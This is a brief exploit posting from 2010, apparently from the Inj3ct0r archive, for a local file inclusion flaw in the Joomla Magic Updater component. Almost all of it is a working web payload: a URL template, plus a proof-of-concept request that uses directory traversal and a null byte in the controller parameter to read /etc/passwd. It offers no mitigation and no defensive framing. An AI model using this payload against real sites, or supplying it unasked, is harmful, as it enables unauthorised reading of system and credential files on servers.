Home / os / win7

Joomla Magic Updater com_joomlaupdater LFI Vulnerability

Posted on 05 April 2010

========================================================
Joomla Magic Updater com_joomlaupdater LFI Vulnerability
========================================================

================================================================================================
 
 [+] Exploit
 
     http://[site]/[path]/index.php?option=com_joomlaupdater&controller=[LFI]
 
 [+] PoC
 
     http://localhost/index.php?option=com_joomlaupdater&controller=../../../../../../../etc/passwd%00
 
 ================================================================================================


# Inj3ct0r.com [2010-04-05]

 

TOP